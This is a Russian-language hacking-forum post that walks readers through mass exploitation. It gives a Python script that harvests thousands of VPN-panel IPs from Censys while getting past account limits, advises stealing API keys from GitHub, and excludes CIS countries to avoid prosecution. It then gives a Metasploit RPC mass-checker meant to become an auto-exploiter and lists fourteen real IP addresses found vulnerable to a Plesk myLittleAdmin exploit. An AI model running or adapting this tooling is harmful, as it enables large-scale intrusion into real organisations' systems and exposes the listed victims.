Получаем доступы в пару кликов

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,472
Реакции
9
На написание данного высера материала автора вдохновила статья Bassterlord и Desoxyn. (Наш, а не тот, о котором вы подумали...)
Часть 1. Получаем тысчячи ip без смс и регистрации.
10854

Способов добычи таргетов много, и для каждого можно написать что-то подобное. Мы же рассмотрим Censys. Использовать будем его api
— Но для использования api ценсиса нам нужен аккаунт с данными (API ID, Secret)! А там надо регаться! На*бщик!
— Да, нужен. Способов его получения 2:
1) Зарегистрироваться (ГЕНИАЛЬНО)
Ничего сложного тут нет.
а) Заходим на 10 минутную почту
б) Заходим на страницу регистрации, все данные кроме почты вводим от балды.
в) Ждём подтверждения по почте и здесь берём uid и secret
На всё про всё уходит минуты две.
2) Тихо сп**дил и ушёл, называется нашёл.
Если по каким-то соображениям не хотим регаться, идём, например, на гитхаб. Кстати, статья об этом есть на нашем форуме
10858

Пошерстив поиск пару минут, получаем десятки (валидных и не очень) пар uid/secret.
Если повезёт, найдём ключи для акка Pro/Enterprise, но 99% - Free.
Вообще, на censys есть 3 вида аккаунтов: Free, Pro, Enterprise.
10856

Отличаются они количеством запросов в месяц и максимальным количеством доступных результатов на запрос.
Для бесплатного аккаунта - максимум 1000, для Pro - до 25000, для Enterprise - 25000.
— Но как же мы будет шерстить интернет, если (на фри аккаунте) максимум 1000 результатов, а если закинуть тот же дорк dana-na из статьи Bassterlord, мы получим почти миллион?!?!? ТС НЕ ШАРИТ!
— Во первых, правильно составляем поисковый запрос. Дорк dana-na идёт не только под панели Pulse Secure, но ещё и под кучу всякой х#йни других впнов.
10860

Немного пораскинув мозгами создём такой дорк. Рекомендую, кстати, ознакомиться с документацией.
Код:
dana-na and 443.https.get.title: "Pulse Connect Secure"
Идём с ним в Censys и получаем 9к хостов, из которых (со стандартным аккаунтом) нам доступно только 1к.
Давайте попробуем обойти ограничения!
Код:
import sys
import requests
import time
import json


#Здесь будет наш поисковый запрос
query = 'dana-na and 443.https.get.title: "Pulse Connect Secure"'


#Сюда вставляем свои данные для api ценсиса
UID = "юайди"
SECRET ="секрет"


#файл, в котором будут храниться результаты поиска. Его название будет равно дате и времени суток на помент запуска скрипта
output = '%s.txt' % time.strftime("%d.%m.%H.%M", time.localtime())


#Вносим страны, которые для нас в приоритете
PRIORITY_COUNTRIES =['US', 'UK', 'NL', 'DE', 'CN', 'FR', 'CA', 'JP', 'KR', 'ES']
Во первых, уберём таргеты из стран СНГ. Мы же не хотим стать работником месяца по РУ, правда?
Код:
CIS = ['UA', 'UZ', 'TJ', 'RU', 'MD', 'KG', 'KZ', 'BY', 'AZ', 'AM']


def exclude_countries(query, COUNTRIES_TO_EXCLUDE):
    for i in COUNTRIES_TO_EXCLUDE:
        query += ' and not location.country_code: %s' % i
    return query
Во вторых, уберём результаты из Мед учереждений. Мы же не уебан, правда?
Код:
DISALLOWED = ['Medical', 'autonomous_system.description: University']


def exclude(query, DISALLOWED):
    for i in DISALLOWED:
        query += ' and not %s' % i
    return query
Делаем авториацию с возможностью определить тарифный план аккаунта
Код:
def auth():
    print('[!] Authorizing Censys API ...')
    r = requests.get("https://censys.io/api/v1/data", auth=(UID, SECRET))
    if r.status_code == 200:
        print('[+] Successfully authorized!')
        #Проверяем, стоит ли ограничение на 10 поисковых страниц
        if search(data={'page': 15, 'query': 'query', 'fields': ['ip']}).status_code == 200:
            Account = 'Enterprise'
            print('[+] Enterprise account detected!')
        else :
            Account = 'Standard'
            print('[!] Standard account detected.')
        return Account
    else :
        print('[-] Authorization failed. \n[-] Status code %s' % r.status_code)
        sys.exit()
Добавляем фунции для обращения к api и получения данных
Код:
def search(data):
    #Добавляем задержку, чтобы не нарушать лимиты
    time.sleep(1)
    return requests.post("https://censys.io/api/v1/search/ipv4", data=json.dumps(data), auth=(UID, SECRET))


def retrieve(r, data):
    retVal = []
    try :
        j = r.json()
        for i in j['results']:
            retVal.append(i['ip'])
        for i in range(2, j['metadata']['pages']+1):
            if int(i) <= limit:
                print('[+] Retriving page [%s/%s]  ' % (i, j['metadata']['pages']), end = "\r")
                data['page'] = i
                nr = search(data)
                if nr.status_code == 200:
                    for i in nr.json()['results']:
                        retVal.append(i['ip'])
                else :
                    print('[-] Data retrival failed at page %s, status code %s' % (i, nr.status_code))
                    break
    except KeyError:
        pass
    return retVal


Непосредственно код
Код:
if __name__ == "__main__":
    try :
        result = []
        #Определяем тип аккаунта и его лимиты
        Account = auth()
        if Account == 'Standard' :
            limit = 10
        elif Account == 'Enterprise':
            limit = 250


       #Делаем первичную фильтрацию введённого дорка
        query = exclude_countries(query, CIS)
        query = exclude(query, DISALLOWED)


        data={'page': 1, 'query': query, 'fields': ['ip']}
        r = search(data)
        if r.status_code == 200 and r.json()['status'] == 'ok':
            j = r.json()
            #Если кол-во страниц в выдаче меньше или равно лимиту нашего аккаунта просто возвращаем их
            if j['metadata']['pages'] <= limit:
                 print('[+] Found total %s targets in %s pages, retriving  data ...' % (j['metadata']['count'], j['metadata']['pages']))
                result += retrieve(r, data)
            #Если нет, фильтруем данные
            else:
                print('[+] Found total %s targets in %s pages' % (j['metadata']['count'], j['metadata']['pages']))
                 print('[!] Only the first %s result pages are available  for %s Censys account\n[!] Using advanced search techniques to bypass  restrictions ...' % (limit, Account))
                #Фильтруем поисковые запросы для приоритетных стран отдельно
                for i in PRIORITY_COUNTRIES:
                    print('
[*] Retriving location based data for %s ' % i)
                    data['query'] = query + ' and location.country_code: %s' % i
                    nnr = search(data)
                    if nnr.json()['metadata']['pages'] <= limit:
                        result += retrieve(nnr, data)
                    else :
                        #Делаем искусственное разделение данных для обхода ограничений
                        data['query'] = query + ' and location.country_code: %s and 80.http.get.status_code: 200' % i
                        result += retrieve(search(data), data)
                        data['query'] = query + ' and location.country_code: %s and not 80.http.get.status_code: 200' % i
                        result += retrieve(search(data), data)
                #Возвращаем глобальные данные, за исключением приоритетных стран
                print('
[*] Retriving global data')
                data={'page': 1, 'query': exclude_countries(query, PRIORITY_COUNTRIES), 'fields': ['ip']}
                br = search(data)
                if br.json()['metadata']['pages'] <= limit:
                    result += retrieve(br, data)
                else :
                    #Делаем искусственное разделение данных для обхода ограничений
                    data['query'] = exclude_countries(query, PRIORITY_COUNTRIES) + ' and 80.http.get.status_code: 200'
                    result += retrieve(search(data), data)
                    data['query'] = exclude_countries(query, PRIORITY_COUNTRIES) + ' and not 80.http.get.status_code: 200'
                    result += retrieve(search(data), data)
                print('[+] Successfully retrieved [%s/%s] search results' % (len(result), j['metadata']['count']))
            print('[!] Censys API data extraction finished.')
        else :
            print('[-] Request failed. \n[-] Status code %s' % r.status_code)
            sys.exit()
       #Сохраняем результаты
        with open(output, 'w') as file:
            for i in result:
                file.write(i+'\n')
    except KeyboardInterrupt:
        print('[-] User interrupdet, exitting ...')
        sys.exit()
Для обхода ограничений ценсиса, мы
1) Создаём разделение по странам. Создаём список приоритетных для нас стран. Я добавил туда 10 штук, чем больше их будет - тем больше реквестов мы отправим(на это тоже есть лимит) и тем больше хостов сможем "пощупать".
Код:
PRIORITY_COUNTRIES =['US', 'UK', 'NL', 'DE', 'CN', 'FR', 'CA', 'JP', 'KR', 'ES']
Затем сначала ищем хосты для каждой из этих стран отдельно, а потом для всех стран - не считая приоритетных.
Код:
[+] Successfully retrieved [4375/9279] search results
Для изначального дорка на 9.5к хостов, удаётся с 1к поднять результаты поиска до примерно 4.4к, т.к. хосты распределены не равномерно, и сконцентрированы в основном в США (около 2600 остаются незатронутыми).
2) Создаём разделение по http статус коду. +- 30% хостов бьются на 80 порт, этим и воспользуемся. Сделаем так, чтобы если кол-во страниц было больше нашего лимита, мы отправляли запросы на этот дорк для хостов с бьющимся портом и наоборот
Код:
[+] Successfully retrieved [6375/9279] search results
Получаем на 2к ip больше, т.к. незатронутые хосты были поделены на 2 части - хосты в US и хосты в мире. Для них мы фильтром добились удвоения лимита поиска (с 1к до 2к, вот и получаем на 2к хостов больше)
Вывод тулзы будет иметь примерно такой характер
Код:
[!] Authorizing Censys API ...
[+] Successfully authorized!
[!] Standard account detected.
[+] Found total 9279 targets in 93 pages
[!] Only the first 10 result pages are available for Standard Censys account
[!] Using advanced search techniques to bypass restrictions ...
[*] Retriving location based data for US
[*] Retriving location based data for UK
[*] Retriving location based data for NL
[*] Retriving location based data for DE
[*] Retriving location based data for CN
[*] Retriving location based data for FR
[*] Retriving location based data for CA
[*] Retriving location based data for JP
[*] Retriving location based data for KR
[*] Retriving location based data for ES
[*] Retriving global data
[+] Successfully retrieved [6375/9279] search results
[!] Censys API data extraction finished.
А в файле с датой и временем на момент запуска скрипта будут лежать ip в чистом виде.
Если ловим ошибки по типу 400, 429, скипы и т.п. - значит аккаунт всё, нужно брать другой.
По итогу, незатронутыми остаются чуть меньше 3к хостов, лимит мы подняли с 1000 до 6000+.
На самом деле, можно добавить ещё фильтров, взять несколько фри аккаунтов, и парсить хоть по 20к, было бы желание =)
Напоминаю, благодаря грамотно составленному дорку, НА ВСЕХ ХОСТАХ СТОИТ PULSE, процент уязвимых - другой вопрос.
В коде, кстати, есть поддержка энтерпрайз аккаунта с автодетектом, так что, если нужно обойти лимиты в 25к и на нём - милости прошу.
Вывод: Подарите кто-нибудь ТСу ключи к про или энтерпрайз аккаунту, видите какую он х#йню творит
Вывод: Мы нашли 6000+ потенциально уязвимых хостов, надо писать чекер и авто-эксплойтер!


Часть 2. Эксплуатируем ВСЁ И СРАЗУ!
Хочу оговорить, товарищ майор, что ТС ничего не эксплуатировал, да и вообще я 2Head вайтхет до глубины души.
В связи с этим ну и с тем, чтобы школьники не локнули половину интернета по статье ТСа через download/exec писáть мы будем чекер, а не эксплойтер.
Для тех кто умеет в метасплойт и питон, исправить пару команд - не составит труда. Работать чекер будет в один поток (по тем же причинам).
Использовать будем msgrpc api метасплойта.
Сначала делаем лаунчер метасплойта с плагином msgrpc
Под винду создаём .bat, под линукс - .sh с содержанием
Код:
msfconsole -x "load msgrpc Pass=pass"


Перед запуском чекера всегда запускаем ба(т/ш)ник и обязательно ждём пока прогрузиться метасплойт!


Код:
import time
import http.client
import msgpack


#выбираем входной файл
input = '13.37.13.37.txt'
#выбираем порт
port = '443'
#выбираем эксплойт
exploit = 'modules/exploits/windows/http/plesk_mylittleadmin_viewstate'


Дефолтные учётные данные для rpc
Код:
msgrpc_host = '127.0.0.1'
msgrpc_port = 55552
msgrpc_username = 'msf'
msgrpc_password = 'pass'
client = http.client.HTTPConnection(msgrpc_host, msgrpc_port)


Функция для обращения к апи
Код:
def send(params):
    headers = {'Content-type': 'binary/message-pack'}
    client.request('POST', '/api', msgpack.packb(params), headers)
    response = client.getresponse()
    content = msgpack.unpackb(response.read())
    return content


Авторизиуемся
Код:
def connect():
    response = send(['auth.login', msgrpc_username, msgrpc_password])
    if response[b'result'].decode('utf-8') == 'success':
        token = response[b'token'].decode('utf-8')
    return token, send(['console.create', token])[b'id']


Сам чек. На выходе получаем уязвимые таргеты в консоли
Код:
def check(rhost, rport, exploit):


    #шаблон команд
    template="""
    use %s
    set rhost %s
    set rport %s
    check
    """ % (exploit, rhost, rport)
  
    #Отправляем команду в метасплойт
    send(['console.write', token, console_id, template])
  
    #Тут начинаются ебан#е костыли с получением ответа и фиксом багов апи
    r = send(['console.read', token, console_id])
    busy = r[b'busy']
    while busy == True:
        time.sleep(1)
        r = send(['console.read', token, console_id])
        busy = r[b'busy']
        respdata = r[b'data'].decode("utf-8")
        if respdata != '':
            for i in respdata.split('\n'):
                if i.count('[+]') != 0:
                    print(i)

Непосредственно мейн
Код:
if __name__ == "__main__":
    #коннектимся к апи
    token, console_id = connect()
    #для каждого таргета в входном файле выполняем чек
    with open (input, 'r') as file:
        for i in file:
            check(i.replace('\n',''), port, exploit)
    #дропаем консоль
    send(['console.destroy', token, console_id])


Важно! Эксплойт, на уязвимость к которому вы хотите проверить, должен поддерживать check.
Перед тем, как запускать - сначала В РУЧНУЮ в метасполйте проверьте работоспособность эксплойта: Не нужны ли доп. параметры, поддерживается ли чек, правильный ли порт, ИБО ШАБЛОН ОБЩИЙ И НЕ БУДЕТ РАБОТАТЬ ДЛЯ КАЖДОГО ЭКСПЛОЙТА.


Часть 3. Практика
Долго разглагольствовать не буду, просто заходим на эксплойт дб и выбираем первый попавшийся сплойт
10853

Проверяем, есть ли в этом эксплойте чек, нужна ли авторизация, доп. параметры и т.п.
После чего ищем подходящий дорк. Я взял просто mylittleadmin. Заходим в сделанный в 1 части скрипт для censys, в значение query вводим наш дорк.
На выходе получаем около 60 ip адресов.
Теперь проставляем значения файла с айпишниками, порт (в данном случае https - 443), эксплойт (modules/exploits/windows/http/plesk_mylittleadmin_viewstate)
Код:
#выбираем входной файл
input = '13.37.13.37.txt'
#выбираем порт
port = '443'
#выбираем эксплойт
exploit = 'modules/exploits/windows/http/plesk_mylittleadmin_viewstate'
По завершении работы скрипта видим следующее:


Код:
[+] 204.93.168.167:443 - The target is vulnerable. We can sign our own ViewState.
[+] 89.38.209.19:443 - The target is vulnerable. We can sign our own ViewState.
[+] 204.93.168.12:443 - The target is vulnerable. We can sign our own ViewState.
[+] 204.93.168.254:443 - The target is vulnerable. We can sign our own ViewState.
[+] 64.79.160.21:443 - The target is vulnerable. We can sign our own ViewState.
[+] 95.0.238.91:443 - The target is vulnerable. We can sign our own ViewState.
[+] 62.129.252.134:443 - The target is vulnerable. We can sign our own ViewState.
[+] 62.129.252.131:443 - The target is vulnerable. We can sign our own ViewState.
[+] 62.129.252.128:443 - The target is vulnerable. We can sign our own ViewState.
[+] 204.93.178.162:443 - The target is vulnerable. We can sign our own ViewState.
[+] 50.59.99.210:443 - The target is vulnerable. We can sign our own ViewState.
[+] 96.31.35.6:443 - The target is vulnerable. We can sign our own ViewState.
[+] 79.171.34.150:443 - The target is vulnerable. We can sign our own ViewState.
[+] 78.129.144.37:443 - The target is vulnerable. We can sign our own ViewState.


Да, 14 хостов - не много. Но:
1) Мы просто зашли и ткнули в первый попавшийся эксплойт
2) Мы протестировали всего +- 60 таргетов, а в процентном соотношении уязвимы почти 25% хостов!!


P.S. Если эта статья наберёт сто тысяч лайков, напишу о том, как автоматизировать пост-эксплуатацию (получение информации, скан сети уязвимого таргета и керберостинг)


Вложение: https://vk.cc/awsvNd


Автор: BlackHawk